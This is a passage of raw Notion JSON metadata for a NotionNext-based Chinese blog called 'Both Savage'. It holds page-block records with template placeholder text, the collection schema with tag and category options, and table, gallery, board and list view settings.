4cd18"},"page_cover_position":0.5},"created_time":1705594337112,"last_edited_time":1705630797241,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"683ddb23-90b4-4744-b09c-ddc4dd04ef79","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"b2c580c4-ce96-432d-b118-a0ad20cbe1c5":{"value":{"id":"b2c580c4-ce96-432d-b118-a0ad20cbe1c5","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["38d0d577-7b83-4df4-ba9e-c0d0010765da"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"043a878a-3031-4020-b1b3-a28ec26edfb4","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"043a878a-3031-4020-b1b3-a28ec26edfb4"}},"deba1e59-6d47-4ada-a314-44559c4f6b0c":{"value":{"id":"deba1e59-6d47-4ada-a314-44559c4f6b0c","type":"text","format":{"copied_from_pointer":{"id":"54458e9f-4300-4058-92eb-d7419f4f3be0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"54458e9f-4300-4058-92eb-d7419f4f3be0"}},"441bdeda-2261-415c-9b90-02c122c121e4":{"value":{"id":"441bdeda-2261-415c-9b90-02c122c121e4","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"5c09ccea-bd54-4059-88a8-ea3ad47cfc01","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"5c09ccea-bd54-4059-88a8-ea3ad47cfc01"}},"bf92f406-3a16-4412-9369-f5edb6003e29":{"value":{"id":"bf92f406-3a16-4412-9369-f5edb6003e29","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"ab2df020-ed00-4620-9909-69d97e0ad40d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"ab2df020-ed00-4620-9909-69d97e0ad40d"}},"1ddbb042-788f-4005-befc-3c30e63918e6":{"value":{"id":"1ddbb042-788f-4005-befc-3c30e63918e6","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"dbc40871-b732-4cc6-b1dc-b38d3c928707","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"dbc40871-b732-4cc6-b1dc-b38d3c928707"}},"6fc73c2f-ca27-46c4-9e76-e8f767132e2b":{"value":{"id":"6fc73c2f-ca27-46c4-9e76-e8f767132e2b","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"83e7d826-96d1-4309-85cc-7378332597e1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"83e7d826-96d1-4309-85cc-7378332597e1"}},"d5803e5d-12ec-4b18-833b-e6822d98fa35":{"value":{"id":"d5803e5d-12ec-4b18-833b-e6822d98fa35","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"2d5d143c-ff2a-4ded-851e-a7fa40750f69","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"2d5d143c-ff2a-4ded-851e-a7fa40750f69"}},"63c97746-0bd9-4d2f-8156-801620c97f5c":{"value":{"id":"63c97746-0bd9-4d2f-8156-801620c97f5c","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"f14c85c5-75ad-4c1d-b8f8-4be24384f916","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"f14c85c5-75ad-4c1d-b8f8-4be24384f916"}},"78957a63-8c78-4cad-8e88-ea846ae3923e":{"value":{"id":"78957a63-8c78-4cad-8e88-ea846ae3923e","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"a3776539-6d71-436a-bb89-fb5acc3f733e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"a3776539-6d71-436a-bb89-fb5acc3f733e"}},"5410740b-7970-4e09-93dd-615a87d752b1":{"value":{"id":"5410740b-7970-4e09-93dd-615a87d752b1","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"997d7b25-32fd-421f-a3c5-0d0fb0c4d944","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"997d7b25-32fd-421f-a3c5-0d0fb0c4d944"}},"5cec45b0-794e-4344-812b-b0c8e4740cc9":{"value":{"id":"5cec45b0-794e-4344-812b-b0c8e4740cc9","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"048841e3-b2d7-49f0-8266-00c984d20b17","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"048841e3-b2d7-49f0-8266-00c984d20b17"}},"ad8c852b-45ac-4cfd-a0f8-04e364cc9311":{"value":{"id":"ad8c852b-45ac-4cfd-a0f8-04e364cc9311","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"3adfa1f3-6400-4eaf-a466-63c6185b31ad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"3adfa1f3-6400-4eaf-a466-63c6185b31ad"}},"8999dbca-3606-4af4-8f6f-5581cd3e6113":{"value":{"id":"8999dbca-3606-4af4-8f6f-5581cd3e6113","type":"text","format":{"copied_from_pointer":{"id":"a881a6bd-d64c-4a11-8cd2-9c0d6ff2eb19","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"a881a6bd-d64c-4a11-8cd2-9c0d6ff2eb19"}},"6d026f65-ee53-4d6a-b31b-e7a374565243":{"value":{"id":"6d026f65-ee53-4d6a-b31b-e7a374565243","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"4d158723-15c6-449e-becb-ead51335bb31","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"4d158723-15c6-449e-becb-ead51335bb31"}},"38d0d577-7b83-4df4-ba9e-c0d0010765da":{"value":{"id":"38d0d577-7b83-4df4-ba9e-c0d0010765da","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"fb4746a4-0397-4efc-b78b-01981e9364de","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337145,"last_edited_time":1705594337145,"parent_id":"b2c580c4-ce96-432d-b118-a0ad20cbe1c5","parent_table":"block","alive":true,"copied_from":"fb4746a4-0397-4efc-b78b-01981e9364de"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d